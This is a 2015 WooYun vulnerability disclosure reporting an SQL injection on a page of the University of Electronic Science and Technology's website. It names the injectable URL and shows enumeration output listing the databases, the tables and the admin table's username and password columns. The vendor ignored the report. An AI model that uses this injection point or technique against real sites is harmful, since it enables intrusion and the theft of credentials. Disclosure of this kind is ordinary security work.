当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0131829

漏洞标题：电子科技大学SQL注射

相关厂商：uestc.edu.cn

漏洞作者： 冷白开。

提交时间：2015-08-05 14:26

修复时间：2015-08-10 14:28

公开时间：2015-08-10 14:28

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-05： 细节已通知厂商并且等待厂商处理中
2015-08-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

电子科技大学SQL注射

详细说明：

注射点http://www.rd.uestc.edu.cn/index.php?c=about&id=17

1.png

脱点数据给你们玩玩

available databases [2]:
[*] information_schema
[*] kdcms
Database: kdcms
[11 tables]
+--------------+
| sr_about     |
| sr_adminuser |
| sr_ads       |
| sr_cert      |
| sr_cnf       |
| sr_feedback  |
| sr_flink     |
| sr_news      |
| sr_news_bak  |
| sr_news_bak1 |
| sr_news_cat  |
+--------------+
Database: kdcms
Table: sr_adminuser
[8 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| addrights   | mediumtext   |
| id          | int(11)      |
| lastLoginAt | datetime     |
| lastLoginIp | varchar(20)  |
| minusrights | varchar(100) |
| password    | varchar(50)  |
| usergroup   | tinyint(4)   |
| username    | varchar(25)  |
+-------------+--------------+

不深入

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-08-10 14:28

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无